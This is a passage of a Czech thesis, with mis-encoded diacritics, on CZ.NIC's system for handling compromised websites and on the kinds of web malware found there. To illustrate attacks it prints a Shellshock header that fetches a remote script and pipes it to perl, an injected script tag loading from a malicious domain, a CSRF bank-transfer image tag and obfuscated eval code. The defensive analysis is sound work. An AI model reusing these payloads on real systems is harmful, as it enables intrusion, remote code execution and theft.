
1 Popis

Sdruºení CZ.NIC, správce národní domény, se zabývá zabezpe£ováním provozu domény
nejvy²²í úrovn¥ .CZ.

Kaºdý den se mnoho stránek stává ob¥tí hackerských útok·. Ty mimo jiné zanechá-
vají v kódu persistentní ²kodlivý obsah, který p°edstavuje riziko pro náv²t¥vníky kom-
promitovaných stránek - snaºí se zneuºít slabiny v jejich prohlíºe£ích a neaktualizo-
vaných dopl¬cích, p°im¥t uºivatele k nainstalování dal²ího malware nebo vylákat p°ís-
tupová hesla k sluºbám t°etích stran.

CZ.NIC, kde autor textu pracuje, se snaºí hackerské aktivit¥ zamezit, aktivn¥ vyh-
ledává napadené stránky a kontaktuje jejich majitele s upozorn¥ním, ºe k nákaze do²lo
a dal²ími informacemi, jak její d·sledky °e²it. K vyhledávání t¥chto prezentací t¥ºí data
z ve°ejn¥ dostupných zdroj· ²kodlivých domén a o kaºdém incidentu si vede záznamy.

1.1 Motivace

Abychom p°iná²eli majitel·m relevantní informace, napadená stránka je podrobena
analýze, která má za cíl zjistit, zda je nákaza skute£n¥ p°ítomná, nebo se jedná fale²ný
poplach.

Tato analýza se nez°ídka d¥lá vícekrát, nap°. kdyº majitel domény ºádá informaci,
zda je uº nákaza vy°e²ená. Protoºe ²kodlivý kód, který napadá stránky, m·ºe mít
mnoho forem, je jeho lokalizace £asov¥ náro£ná.

Lze sice uºívat ve°ejn¥ dostupné skenery webových stránek. Praxe ukazuje, ºe
pro mnoºství napadených stránek, které je t°eba analyzovat, nejsou tyto skenery zcela
spolehlivé. V mnoha p°ípadech bylo t°eba dal²í manuální práce, opatrné, aby si admin-
istrátor sám náv²t¥vou zavirovaných stránek nenakazil po£íta£.

Je ºádoucí správu napadených webových stránek co nejvíc automatizovat.
Cílem této práce je nejprve poskytnout p°ehled o ²kodlivém kódu, který který

zanechávají úto£níci v kódu napadených webových prezentací. Navrhnout a napro-
gramovat aplika£ní °e²ení, které je schopné na základ¥ vlastní analýzy vyhledávat tento
²kodlivý kód, zjistit, co tento kód d¥lá a na jaké IP náv²t¥vníka uná²í. Toto °e²ení
má být p°ipojeno k stávajícímu, které CZ.NIC pouºívá, a ²et°it lidský £as, spojený se
správou napadených stránek. Aplikaci uvedeme do provozu. Abychom ov¥°ili, ºe je
°e²ení v po°ádku, provedeme testování v reálném provozu.

1.2 Organizace práce

Nejprve popí²eme, jak práce s incidenty v sou£asnosti probíhá a ukáºeme pr·chod
systémem, který se pouºívá. Potom d·kladn¥ rozbereme práci administrátora tohoto
systému a zmíníme slabiny, které práci zpomaluje. V analytické £ásti probereme druhy
²kodlivého kódu a teoreticky i na p°íkladech ukáºeme, co tento kód d¥lá a jak se na
stránky / k náv²t¥vníkovi mohl dostat.
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Navrhneme pak vhodné °e²ení, které tento kód bude schopno samo na stránkách
vyhledávat a provedeme jeho implementaci. Abychom zjistili, jak se systém osv¥d£uje,
otestujeme pr·chod systémem s uºivatelem i bez uºivatele, které bude mít za cíl zjistit,
zda program je v praxi schopen ²kodlivý kód najít.

V diskuzi probereme zajímavé poznatky, se kterými jsme se v práci setkali a zmíníme
moºnosti dal²ího rozvoje.

1.3 Terminologické poznámky

Protoºe hlavním jazykem programátora je v sou£asné dob¥ angli£tina, budeme v práci
pouºívat n¥kolik termín·. ke kterým v £eském jazyce neexistuje ekvivalent, nebo by
srozumitelnost textu jejich otrokyckým p°eloºením utrp¥la. Rigorózní £tená° je pak
pro²en, aby jejich uºití v £eském jazyce omluvil.

� cache, cachovat, default, exploit, framework, log, loggovat, mailing list, parser,
sandbox, screenshot, ticket, tracker, URL
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2 Pozadí problematiky

Ke správ¥ informací o napadených doménách vyuºívá CZ.NIC aplikaci Malicious Do-
main Manager (MDM), která byla vyvinuta v roce 2012 výzkumným pracovi²t¥m ve
spolupráci s národním týmem pro °e²ení bezpe£nostních incident· (CSIRT1), který
je CZ.NIC provozován. MDM autonomn¥ prohledává ve°ejn¥ dostupné zdroje infor-
mací o doménách napadených n¥kterým typem ²kodlivého kódu a informuje o nich
administrátora[CZ.NIC, 2012]. Nabízí rozhraní, skrze které lze zahájit komunikaci s
majitelem domény, a mailové vlákno ukládá do trackovacího systému Request Tracker.

V následující kapitole si p°edvedeme funk£nost MDM, obeznámíme £tená°e s úlohou
administrátora a zjistíme, jaké má slabiny stávající proces správy napadených domén.

2.1 Stávající °e²ení

MDM z hlediska aplika£ní architektury tvo°í dva odd¥lené systémy, oba napsané v
Pythonu2 a sdílející p°ístup k PostgreSQL databázi. První z nich obstarává vnit°ní
funkcionalitu - prohledává dostupné internetové zdroje, hlídá v nich zm¥ny a obohacuje
databázi. Druhý z nich je p°ístupný p°es webový server a slouºí pro vlastní administrá-
torskou práci v aplikaci.

Zdrojové kódy jsou ve°ejn¥ dostupné2 pod svobodnou licencí GNU GPL v3.

2.1.1 Vnit°ní funkcionalita

Figure 1: Diagram vnit°ní funkcionality

Plánova£ úloh na hostujícím serveru pe-
riodicky spou²tí dva skripty, které p°ed-
stavují bránu k vnit°ní funkcionalit¥ ap-
likace. Ta je znázorn¥na na obrázku.

První ze skript· obsluhuje spojení
se serverem, na kterém b¥ºí Request
tracker. Souhrnn¥ zaná²í zm¥ny do
databáze. Jeho hlavním ú£elem je, aby
zrychlil na£ítání webového serveru, který
m·ºe tickety sledovat z kopie v lokální
databázi, místo aby se p°ipojoval k Re-
quest trackeru s kaºdým webovým poºadavkem. Je doporu£eno jej spou²t¥t kaºdých
deset minut.

Druhý skript se volá jednou za p·l hodiny. Iniciuje dotaz na dostupné zdroje, zda
neobsahují hlá²ení o nov¥ napadených doménách. K webovým zdroj·m se p°ipojí p°es
http protokol a p°es mailový protokol IMAP se prohledává mailing list. Aby nezat¥ºoval
zdroje tím, ºe by opakovan¥ na£ítal celou jejich databázi, výsledky vyhledání se cachují

1http://csirt.cz
2https://gitlab.labs.nic.cz/labs/mdm
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v lokálním úloºi²ti (na obrázku big datastore), obsluhovaným Pythonem. V sou£asné
dob¥ MDM vyuºívá Malware Patrol, Google Safebrowsing, Phishtank a Zeus Tracker.
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2.1.2 Webový server

Webové rozhraní MDM b¥ºí na serveru Apache jako Python modul, napsaný ve frame-
worku Pyramid3.

Na hlavní stránce se nabízí souhrnné statistické údaje o po£tu incident· (nových /
°e²ených / vy°e²ených) a seznam nov¥ do²lých e-mail·, které zaslali majitelé domén. V
dolní £ásti je seznam e-mail·, u nichº se nepoda°ilo dohledat mailové vlákno, kam pat°í,
protoºe jejichº odesílatelé zm¥nili p°edm¥t. Na následujícím obrázku vidíme screenshot
hlavní strany,.

Vlevo na kaºdé stránce je menu, které umoº¬uje procházení r·zných kategorií inci-
dent· a vyhledávací pole.

Podívejme se nap°íklad do kategorie Nové hrozby. V této kategorii jsou incidenty,
které je²t¥ administrátor ne°e²il. V prvním sloupci nalezneme seznam nakaºených
domén. Ve sloupci Sou£asné hrozby je uveden po£et nakaºených URL, evidovaných
k domén¥. Dále tabulka obsahuje informace o p°edpokládaném typu malware, £as,
kdy byla hrozba naposledy zji²t¥na a zdroj, ze kterého informace pochází. Pro lep²í
orientaci umoº¬uje tabulka stránkování a zm¥nu po£tu zobrazení výsledk· na stránku.

Kliknutím na název domény se dostaneme na stránku s detailním popisem incidentu.
V tabulce jsou vypsána v²echna nakaºená URL, ostatní sloupce se podobají výpisu
kategorie. Na kart¥ historie administrátor vidí seznam URL, která uº byla webovým
zdrojem vyhodnocena jako bezpe£ná, na kart¥ korespondence je pak formulá°, skrze
který m·ºe napsat vlastníkovi. Formulá° obsahuje n¥kolik ²ablon mailu. Mail obsahuje
formální ºádost o odstran¥ní nákazy, seznam napadených URL a podrobnosti, které se
v ²ablon¥ li²í podle typu zdroje.

Karta status obsahuje interní záznam o incidentu, kdy byl vytvo°en, vy°e²en a jaký
administrátor s ním pracoval. Interní záznam se generuje v prostém textu, do kterého
m·ºe administrátor zasáhnout a napsat vlastní poznámku. Jak vidíme na obrázku,
n¥které weby jsou napadány znovu a znovu.

Figure 2: Úvodní stránka
webového rozhraní

3http://docs.pylonsproject.org/projects/pyramid/en/latest/
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Figure 3: Výpis kategorie
incident·

Figure 4: Detail incidentu domény - karta
sou£asné hrozby
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2.2 Úloha administrátora

Figure 5: Karta status incidentu

Nyní probereme £innost, kterou vykonává
administrátor. Jsou to 2 typy úkon· -
kontakt s majitelem nakaºené domény a
dal²í analýza napadené stránky.

2.2.1 Komunikace s vlastníkem

Administrátor informuje vlastníka domény
o zji²t¥ném útoku, aby ten mohl co
nejrychleji zasáhnout, p°ijmul opat°ení,
která zabrání zneuºití uniklých dat a min-
imalizoval vzniklou ²kodu. V kontakt-
ním modulu nástroje MDM administrá-
tor vybere ²ablonu podle p·vodu hlá²ení
nákazy - nap°. ²ablona pro databázi
Phishtank obsahuje link k ticketu, který
se o jeho domén¥ v databázi vede, pro
Google Safebrowsing ²ablona obsahuje návod co d¥lat, aby vyhledáva£ p°estal doménu
blokovat. Kontaktní údaje vyhledá v interním registru domén, které CZ.NIC spravuje,
nebo p°ímo z napadených stránek. V moment¥, kdy administrátor ode²le první mail,
se incident p°esouvá do kategorie �e²ené, kde z·stává, dokud není webová prezentace
vyhodnocena jako znovu bezpe£ná.

Figure 6: Hlavní £innosti administrátora

�asto se stává, ºe se mail vrátí jako ne-
doru£itelný. Tehdy se administrátor snaºí
najít jiný kontaktní údaj správce domény.

2.2.2 Analýza stránky

Hledají se stopy, odkud úto£ník p°i²el,
resp. s kterými ²kodlivými adresami
je útok spjat. Data se pak v sou£as-
nosti vyuºívají hlavn¥ ve sluºb¥ Turris
[footnote], výzkumném projektu, který
pomáhá uºivatel·m s ochranou domácí
sít¥ pomocí speciálního routeru.

2.3 Slabiny v procesu

Po£et incident· se rok od roku zvy²uje, od doby spu²t¥ní sluºby MDM zaznamenalo uº
p°es 8 000 nakaºených domén. Kaºdý den jich 5 - 30 p°ibývá.

Hlavní problémy procesu tkví (1) ve vysokých nárocích na organiza£ní schopnosti ad-
ministrátora a (2) na velkém po£tu akcí, které je administrátor nucen dokola provád¥t.
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Protoºe je t°eba ru£ní analýzy napadeného webu, a´ uº v lokálním prohlíºe£i (zabezpe£eným
pluginem) nebo ve virtuálním opera£ním systému, administrátor neustále £elí zvý²enému
riziku, aby se jeho pracovní stanice sama nestala ob¥tí je²t¥ neznámého exploitu, který
bude na jedné ze stovek stránek nasazen. �ást analýzy lze p°enechat pomoci automat-
ických nástroj· (nap°. UrlQuery, Sucuri SiteCheck), ty ov²em p°i v¥t²ím po£tu analýz
náhodn¥ selhávají. Analýzu stránky p°itom nelze vynechat, naopak je t°eba ov¥°it,
ºe podez°ení na p°ítomnost malware není mylné, a n¥kdy je t°eba analyzovat stránku
vícekrát za sebou, abychom se ujistili, zda nákaza uº je pry£.

Opakované akce Úloha administrátora krom¥ vlastní analýzy napadeného webu
spo£ívá v tom, ºe údaje o kaºdé domén¥ proklikne, najde si kontaktní e-mail a ode²le
vlastníkovi ²ablonu. Zvlá²t¥ dohledat si kontaktní e-mail v interním registru domén zna-
mená nav²tívit aº sedm po sob¥ jdoucích stránek. Pakliºe vlastník domény nereaguje
a situaci nenapraví, je na administrátorovi, aby hlídal, zda m¥l vlastník dost £asu na
odpov¥¤ a zda existuje jiný komunika£ní kontakt, jiný mail £i telefon; a aby zjistil,
nemá-li zákazník plný mailový ko². Pole s textovými poznámkami k domén¥ v kart¥
Status, které nahrazuje CRM, je zastr£ené ve vlastním tabu a jeho správa a udrºování
vyºaduje dal²í klikání a skrolování. Pokud doména byla v historii napadena vícekrát za
sebou a tedy n¥kolikrát m¥nila stav z vy°e²eno na nová hrozba a zp¥t, situace je zvlá²´
nep°ehledná. S p°isp¥ním toho, ºe prost°edí MDM nativn¥ neumoº¬uje t°ídit domény
do vláken podle více parametr· (zda uº prob¥hla jejich analýza a zda vlastník byl
úsp¥²n¥ kontaktován), v praxi pak vznikají zmatky, vedoucí k tomu, ºe se tytéº stránky
analyzovaly opakovan¥, nebo se jednomu kojícímu majiteli volá t°ikrát za sebou.

Administrátor má tedy k dispozici pokro£ilý nástroj, ale stále na n¥m z·stává b°e-
meno dal²ích manuálních £inností (viz obrázek) - vyhledávání kontaktu vlastníka a
£asov¥ náro£ná analýza stránky v prohlíºe£i £i skrze externí nástroje.
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3 Analýza

Probrali jsme, jakým zp·sobem v sou£asnosti probíhá °e²ení bezpe£nostních incident· a
kde jsou slabá místa. Abychom mohli navrhnout zp·sob, jak proces urychlit, podíváme
se hloub¥ji na to, co konkrétn¥ bezpe£nostní incident obná²í - v £em nákaza ²kodlivým
kódem spo£ívá, jak se projevuje a jaká známá °e²ení by nám mohla být nápomocna.

3.1 Druhy ²kodlivého kódu

Rozli²ujeme mnoho kritérií, podle kterých m·ºeme ²kodlivý kód klasi�kovat - nap°íklad
dle zp·sobu nákazy, ú£elu £i vedlej²ích ú£ink·.

N¥který ²kodlivý kód se posílá po²tou, jiný se replikuje do soubor· na disku. Adware
je dob°e patrný podle toho, ºe zobrazuje reklamy, ransomware zlo£inn¥ ²ifruje data na
disku, keylogger odposlouchává hesla a p°íkazy a trojan p·sobí, ºe po£íta£ ob¥ti se
stane zombie p¥²ákem[Lis, ].

Viry mohou být psány v ºertu, první známý virus na sv¥t¥ jenom zobrazoval na
po£íta£i zprávu �Chy´ si m¥�, virus Cruncher dokonce p·sobil kladn¥ - komprimoval
soubory a ²et°il tak místo. [kaspersky]

Dnes uº ale hrozbu malware nikdo nepodce¬uje. Denn¥ vznikají desetitisíce nových
algoritm·. Jenom v roce 2013 vzniklo 20 % malwaru[Pan, 2014]. Malware pouºí-
vají hacke°i i vlády, aby nelegální cestou získávali osobní, �nan£ní a �remní infor-
mace. Dochází dokonce k p°ípad·m vydírání - hacke°i poºadovali výkupné po sloven-
ském poskytovateli Vnet, aby ustali se svým DDoS útokem, který blokuje dostup-
nost sluºeb. Vnet se musel vypo°ádat s úctyhodným tokem napadených server· 400
Gb / s, coº je �nieko©konásobne vä£²ie mnoºstvo dát, neº preteká celým slovenským
internetom�[Slo, 2015].

Pro ná² ú£el nás zajímá pouze ²kodlivý kód, který ohroºuje náv²t¥vníky webu a
úto£í bu¤to na prohlíºe£ (malware), nebo na náv²t¥vníka (phishing). Takové útoky
se nezam¥°ují jen na známé redak£ní systémy a frameworky, kde jedna objevená zran-
itelnost ohroºuje tisíce implementací naráz, ale i na lokální aplikace £i statické HTML
stránky. Úto£ní boti zjistí, jaké sluºby na serveru b¥ºí, zkou²í prolomit hesla FTP
serveru, p°ípadn¥ p°ístup dostanou p°ímo od webmastera, jehoº po£íta£ byl napaden
virem. Útoky na webové stránky p°icházejí ve vlnách. Stránky vlastn¥né týmº £lov¥kem
bývají napadnuty v rozmezí n¥kolika minut po sob¥, by´ spolu obsahov¥ ani technolog-
ickou strukturou nesouvisejí.

3.1.1 Phishing

Cílem phishingu je vylákat od náv²t¥vníka citlivé údaje, £asto p°ihla²ovací heslo do
n¥jaké sluºby. Vyuºívá p°itom d·myslné maskovací techniky. Na napadeném serveru
vytvo°í stránku, která v¥rn¥ imituje p°ihla²ovací formulá°. Zbytek serveru m·ºe phishin-
gový úto£ník nechat zcela netknutý a pln¥ funk£ní, takºe si webmaster p°i náv²t¥v¥
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svých stránek nemusí v²imnout ni£eho podez°elého. Nebo ob¥´ p°esm¥ruje na stránku,
jejíº URL p°ipomíná adresu legitimní napodobované webové prezentace.

Na obrázku níºe vidíme d·v¥ryhodn¥ vypadající zprávu, která se nachází na jed-
nom £eském serveru. Náhodný náv²t¥vník je p°esm¥rován na adresu, která p°ipomíná
p°ihla²ovací formulá° sluºby AOL.

Pokud náv²t¥vník vlastní AOL ú£et a p°ihlásí se, jdou údaje p°ímo úto£níkovi. Ba
co víc, úto£ník·v skript m·ºe s nabytými údaji uºivatele skute£n¥ p°ihlásit na jeho
ú£et, takºe si uºivatel nedozví, ºe jeho heslo bylo ukradeno.

Jak ukazuje výzkum[Mohebzada et al., 2012], velké procento uºivatel· je náchylné
útoku podlehnout. Výzkumníci legální cestou získali e-maily student· univerzity, zareg-
istrovali si stránku http://www.myaus.info, která se podobá o�ciálním stránkám http://myaus.aus.edu
a rozeslali 10 000 phishingových e-mail·. O heslo p°i²lo 9 % student· a 5 % zam¥st-
nanc· univerzity.

P°esto se phishing pozná velmi snadno. Pokud máme echo, ºe se na stránce vysky-
tuje, poznáme jeho p°ítomnost v¥t²inou na první pohled.

3.1.2 Malware

Forma ²kodlivého kódu se v nahlá²ených doménách opakuje, protoºe se v drtivé v¥t²in¥
nejedná o osobní pr·lom hackera, ale o stopu po n¥kterém z automatických nástroj·.
V javascriptové ²ablon¥ nebo konkrétní stránce na webu se inkluduje kód, £asto velmi
obfuskovaný (ne£itelný £lov¥kem), který vposledku na pozadí vyvolává http poºadavek.
N¥který kód £eká na ur£itou verzi opera£ního systému nebo prohlíºe£e[Kolbitsch et al., 2012].
Pozná ji podle http hlavi£ek nebo dle ve°ejn¥ známých hack·, £ili detail·, v kterých se
chování prohlíºe£· li²í. Jiný malware se objeví pouze jednou, zkusí provést ²kodlivou
£innost a do prohlíºe£e uloºí cookie. Pokud se náv²t¥vník vrátí v témº prohlíºe£i s
náv²t¥vní cookie, malware se na stránce v·bec neprojeví a není moºná jeho detekce.

Zp·sob napadení náv²t¥vníka Nástrojem útoku na webových stránkách jsou p°ede-
v²ím skriptovací funkce prohlíºe£e. Úto£ník vloºí do stránky javascriptový kód, který
je schopen vykonávat libovolnou ²kodlivou £innost na pozadí. Pokud ho nevloºí p°ímo
na stránky, zneuºije n¥který HTML tag, který ho dona£te.

Zde uvádíme p°ehled £asto zneuºívaných/zneuºitelných cest, které malware vyuºívá,
podle zdroje [Phakoontod and Limthanmaphon, 2012, 67-8]. P°itom u laskavého £tená°e
p°edpokládáme znalost jazyka HTML a javascriptu.

HTML tagy:

10



� tag script - bu¤ p°ímo obsahuje kód, který prohlíºe£ vykoná, nebo pomocí atributu
src ukazuje na URL se ²kodlivým kódem

� iframe, frame - vloºí do stránky jinou stránku

� embed, object - vloºí do stránky objekt, nap°íklad ²kodlivý Flash

� img - na£te obrázek z jiné domény (pro£ je to ²kodlivé, vysv¥tlíme níºe)

� meta - prost¥ unese náv²t¥vníka na jinou doménu

Do libovolného tagu m·ºeme vloºit kód v atributu - tzv. inline javascript. Tagu b,
který d¥lá text tu£ným, nastavíme atribut onclick (nebo on-cokoli), který p°i kliknutí
na element spustí javascript událost.

> <b onclick='javascript:alert(1)'>text</b>
Toto se zvlá²tním zp·sobem se týká navíc nevinného tagu link, ur£eného pro na£ítání

styl·, kde m·ºeme javascript vloºit do atributu href.
Zneuºívané funkce javascriptu:

� document.location - p°esm¥ruje náv²t¥vníka pry£

� document.cookie - vloºí ²kodlivou url

� document.write - p°epí²e stránku

� document.createElement - vytvo°í dynamicky HTML element

� alert - testovací funkce, jejíº p°ítomnost na produk£ním webu signalizuje, ºe byl
zneuºit

� unescape - p°ekládá kódovaný °et¥zec do písmen

� eval - spustí libovolný kód z textového °et¥zce

Maskování kódu O funkci eval se zdroj[Phakoontod and Limthanmaphon, 2012]kupodivu
nezmi¬uje, p°esto tuto mocnou funkci, v kombinaci s funkcí unescape, ²kodlivý kód
nez°ídka vyºívá. Umoº¬uje prom¥nit nevinn¥ vypadající textový °et¥zec v dynamicky
generovanou funkci. Ta pak není vid¥t ve zdrojovém kódu stránky, protoºe v dob¥
jejího generování funkce je²t¥ neexistovala. Nezku²ený webmaster proto ve svém zdro-
jovém kódu vidí jen nic ne°íkající °adu znak· a nerozpozná, ºe se jedná o ²kodlivý kód.
Pokud rozpozná, není snadné zjistit, co kód p°esn¥ d¥lá bez toho, aniº ho spustí, coº je
riskantní.

Ukrytá funkce m·ºe vypadat nap°íklad takto:

> <script>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x77 ...

Abychom kód bezpe£n¥ p°eloºili do p·vodních p°íkaz·, m·ºeme funkci eval nahradit
funkcí console.log a spustit v konzoli prohlíºe£e.
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> console.log('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x77 ...

Zjistíme, ºe ²kodlivý kód vypadá takto:

> function wcaD(pnt){function nuEeg(bfNzv){var dBb=0;var bDKB=bfNzv.length;var oAVyUt=0;while(oAVyUt<bDKB) ...

Jak vidíme, ²kodlivý kód vyuºil n¥který obfuskátor, který p°ejmenoval v²echny prom¥nné
a názvy funkcí na nesmyslné °ady znak·, takºe tento kód snadno prohlíºe£ vykoná, ale
£lov¥k mu porozumí jen st¥ºí.

Setkali jsme se s tím, ºe místo nesmyslných znak· obfuskátor pouºil slovník an-
gli£tiny a v²echny objekty skriptu p°ejmenoval na sémanticky nosná anglická slova,
takºe kód na první pohled vzbuzoval dojem, ºe ho p°ímo psal £lov¥k. Aº posléze bylo
jasné, ºe slova nemají ºádný význam a pouze matou.

Jiný ²kodlivý kód m·ºe být obfuskován n¥kolikanásobn¥. P°i pouºití console.log
jsme pak nedostali prohlíºe£em zpracovatelný kód, ale pouze dal²í funkci eval napln¥nou
°adou nesmyslných symbol·. Abychom se dostali na d°e¬ takovéhoto kódu, museli jsme
jsme nový eval op¥t nahradit funkcí console.log . K na²emu velkému p°ekvapení byla
funkce tímto a je²t¥ jedním podobným zp·sobem v sob¥ zakódovaná 72Ö, coº jsme
zjistili, aº kdyº jsme opatrn¥ vytvo°ili rozkódovací algoritmus na míru.

Úto£níci také mohou zneuºít znamá jména, nap°íklad jeden typ nákazy na stránku
importuje soubor jquery-1.40.15.js, jehoº jméno evokuje oblíbený framework. Navíc
tento framework se v¥t²inou pouºívá také v obfuskované podob¥, ov²em ne z d·vodu
matení, ale mini�kace - jsou odstran¥ny v²echny mezery a názvy prom¥nných zkráceny.
Neznalý £lov¥k proto tento zp·sob maskování m·ºe p°ehlédnout.

Poslední zp·sob skrývání javascriptu, který uvedeme, spo£ívá v pouºití funkce set-
Timeout. Kód odloºí svoje vlastní spu²t¥ní a unikne tak pozornosti [Rozzle de-cloaking
Fig 17].

HTML elementy se nej£ast¥ji skrývají pomocí CSS stylování, p°íkazy display: none,
visibility:hidden, nebo nastavením ²í°ky a vý²ky na nulu. Oblíbená technika úto£ník· je
umístit tento neviditelný element pod kurzor my²i náv²t¥vníka, který na napadené nebo
pirátské stránce kliká nap°íklad na tla£ítko spu²t¥ní videa, ov²em místo toho klikne na
skrytý element (tzv. clickjacking, únos kliknutí my²i).

N¥kdy ²kodlivý kód nebývá skryt v·bec. Kupodivu £astým znakem malware, na
který £asto naráºíme, je ²estiznakový komentá° p°ed anebo po vpa²ovaném kódu. Kód
m·ºe vypadat nap°íklad takto:

> document.write('<script type="text/javascript" src="http://xavieanssystems.com/xavieanssystems/traf.php?id=6698942"></script>');

> /*/60c35e*/

Motivaci pro vkládání zbyte£ného komentá°e vedle ²kodlivého kódu se nám nepoda°ilo
rozlu²tit. Zjistili jsme v²ak, ºe na tuto jasnou stopu útoku p°i²li i auto°i antivirových
systém·. Dle serveru virustotal.com, který shromaº¤uje analýzy dostupných antivir·,
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byl p°edchozí p°íklad ozna£en jako ²kodlivý kód 18/52 antivir·. Odstranili jsme potom
funkci document.write a nechali jen komentá° (to jest jiº zcela ne²kodný kód), av²ak i
tehdy byl skript nadále hlá²en jako heuristický trojan.

Krom¥ javascriptu a HTML element· lze maskovat i celé názvy domén. Málokterý
uºivatel totiº ví, ºe doménové jméno jde vyjád°it r·znými zp·soby. Jak uvádí etický
hacker Robert Kümmel[Kümmel, 2011, 118], na Google doménu se skrz DNS servery
m·ºeme dostat p¥ti zp·soby. K pov²imnutí jsou p°edev²ím poslední t°i, mén¥ známé.

� http://www.google.cz - p°ímé doménové jméno

� http://74.125.87.104 - IP adresa

� http://1249728360 - dword tvar

� http://0x4a.0x7d.0x57.0x68 - hex tvar

� http://0112.0175.0127.0150 - oktalový tvar

(Po£et tvar· není kone£ný, p°íklad platí pro IPv4, adresy typu IPv6 m·ºeme zapsat
je²t¥ v dal²ích tvarech.)

Dal²í vynikající metoda, na kterou jsme v posledních m¥sících za£ali naráºet, je
pouºívání mnohonásobných °ád· u domény. K domén¥ www.fotokorri.wz.cz si nap°íklad
hacker nastavil £ínskou doménu 7. °ádu www.fotokorri.wz.cz.619f4903b9d47923.d99q.cn
. Neznalý uºivatel, který neví, jak se URL adresa tvo°í, ji snadno p°ehlédne. Doména 3.
°ádu sestává z °ady nesmyslných £ísel a pokud p°ehlédne te£ku, snadno si bude myslet,
ºe £ísla jsou jen n¥jaký sémanticky nevypovídající parametr.

Tuto techniku vyuºívá ve²kerý typ malwaru a dle zku²enosti sm¥°uje doména 1.
°ádu do �íny (cn), nebo na Kajmanské ostrovy (cc). Doména je po°ízena zadarmo
a m·ºe být dle pot°eby úto£níkem rychle zru²ena, takºe po jejím p·vodním obsahu
nez·stává ºádná nalezitelná stopa.

Cíl ²kodlivé £innosti �innost ²kodlivého kódu na stránkách je v roce 2015 stejná
jako v dob¥ p°ed t°emi lety, jak popisuje zdroj [safeguard]. �kodlivý kód na stránkách
funguje p°edev²ím jako brána pro dal²í formy nákazy.

Nej£ast¥ji se provádí útok Drive by Download, kdy je náv²t¥vník·v prohlíºe£ une-
sen na nep°átelskou stránku, která vyhodnotí jeho vlastnosti a podstr£í mu adekvátní
exploit [browser jsguard], který se pokud moºno na pozadí nainstaluje do prohlíºe£e
ob¥ti £i p°ímo do jejího systému.

Jindy m·ºe úto£ník nabídne ke staºení spustitelný soubor .exe s líbivým jménem v
nad¥ji, ºe si ho náv²t¥vník stáhne. Velmi vynalézavou zranitelností, kterou obsahovaly
star²í verzi prohlíºe£·, je Unitrix. Úto£ník vyuºil vlastnosti jednoho znaku Unicode,
který se ve východních zemích vyuºívá k p°epnutí textu na £tení zprava doleva. Ke
stáhnutí vystavil soubor se jménem nap°. Girl_Al-gpj.exe, ov²em místo poml£ky za
`AL' je umíst¥n tento neviditelný °idicí znak, který °et¥zec �gpj.exe� oto£í na �exe.jpg�.
Náv²t¥vník si tedy myslí, ºe otevírá obrázek se jménem �Girl_Alexe.jpg�. V dob¥
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psaní práce je stále moºnost na tuto zranitelnost narazit v praxi. Na soubor s takto
upraveným jménem jsme narazili nap°íklad na sluºb¥ Uloºto.sk.

Na obrázku níºe vidíme, jak vypadá výsledek vyhledávání tohoto souboru na Google.
V²imn¥te si, ºe Unicode znak p°eházel metadata stránky.

[p°íklad maskování domény
- zranitelnost Unitrix]

[cute-girlexe.jpg je ve skute£nosti
.exe soubor]

V dne²ních prohlíºe£ích uº byla chyba Unitrix záplatována a p°i stahování souboru
prohlíºe£ ukazuje správnou p°íponu.

Podstr£it soubor lze v²ak i jinými zp·soby. Setkáváme se s tím, ºe úto£ník napodobí
stránky Youtube, p°edstírá, ºe spustí video n¥jaké ºhavé ºeny, ale hned na to vyzve
uºivatele, aby �updatoval sv·j Flash plugin pro p°ehrání videa�, p°i£emº v¥rn¥ napodobí
design Adobe Flashe. Místo pluginu v²ak náv²t¥vník autorizuje ve svém po£íta£i jasný
vir.

Krom¥ stahování nebezpe£ných soubor· hacke°i úto£í i jinak. Zmíníme je²t¥ útok
zjednodu²en¥ CSRF, který vyuºívá toho, ºe je uºivatel v prohlíºe£i p°ihlá²ený v jiné
sluºb¥, nap°íklad ve �ktivní Bance.cz. Úto£ník zjistil, ºe Banka nepouºívá token pro
autorizování poºadavk· platby, a tak do napadené stránky super-videa-sexy.cz umístí
obrázek:

> <img src='http://banka.cz/ucet/poslat?komu=hacker&kolik=1000' />

V ideálním p°ípad¥ sta£í, ºe ob¥´ je v Bance p°ihlá²ená na vedlej²ím tabu prohlíºe£e a
na tuto stránku p°ijde jen na okamºik, a hacker se obohatí.

Zp·sob napadení serveru Abychom m¥li obrázek o malwaru na webech ucelený,
je t°eba je²t¥ probrat, kudy se nákaza dostane na server. Existuje obrovsého mnoºství
známých d¥r a jejich po£et se rozr·stá. Jen v minulém roce 2014 se objevily dv¥
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obrovské zranitelnosti, které zahýbaly celým internetem, protoºe zasahovaly i °adu
d·v¥ryhodných server·. První z nich bylHeartbleed bug, chyba v ²ifrování SSL. Podle
skenu n¥kolika desítek tisíc £eských adres, který CZ.NIC provedl, se ukazuje, ºe na tuto
zranitelnost bylo náchylných kolem 6 - 9 % server· [�urechová and Dura£inská, 2014].
Druhý bug Shellshock se týká zneuºití nezamý²lené vlastnosti samotného unixového
bashe, která v jeho zdrojovém kódu z·stávala dlouhá léta nepov²imnuta. Vzhledem k
tomu, ºe v¥t²ina server· b¥ºí pod Unixem, ²lo se prolomit do serveru pouhou správn¥
upravenou http hlavi£kou. Testy CZ.NIC ukazují[�urechová, ], ºe jakmile byla zranitel-
nost zve°ejn¥na, hacke°i zahájili mohutnou vlnu útok·, které cílili na dosud neupdato-
vané servery.

Normální http hlavi£ku User-Agent, kde prohlíºe£ posílá informace o své verzi:

> User-Agent: Mozila Firefox 36

Sta£í ji upravit následovn¥ a na náchylném serveru spustíme perl s privilegii webového
serveru, který vykoná kód z na²í ²kodlivé adresy:

> User-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl

Stranou chyb v serveru existuje také ²kála chyb ve webové prezentaci. Náchylné jsou
webové prezentace s framework jako je CMS Wordpress, zvlá²´ pokud obsahují °adu
neaktualizovaných plugin·. Hacker·m snadno prohledají velký adresový prostor, naj-
dou domény, na kterých b¥ºí Wordpress a testují jeden exploit za druhým.

Klasickým zp·sobem útoku jsou pak neo²et°ené uºivatelské vstupy - injekce SQL
kódu a injekce javascriptu (tzv. XSS) [surfGuard].

Ov²em i bezchybn¥ záplatovaná aplikace m·ºe být napadnuta, pokud je napadnut
systém webmastera, kde má uloºena p°ístupová hesla.
Mobily a tablety jsou v dne²ní dob¥ o °ád zraniteln¥j²í neº notebooky a stolní po£íta£e,
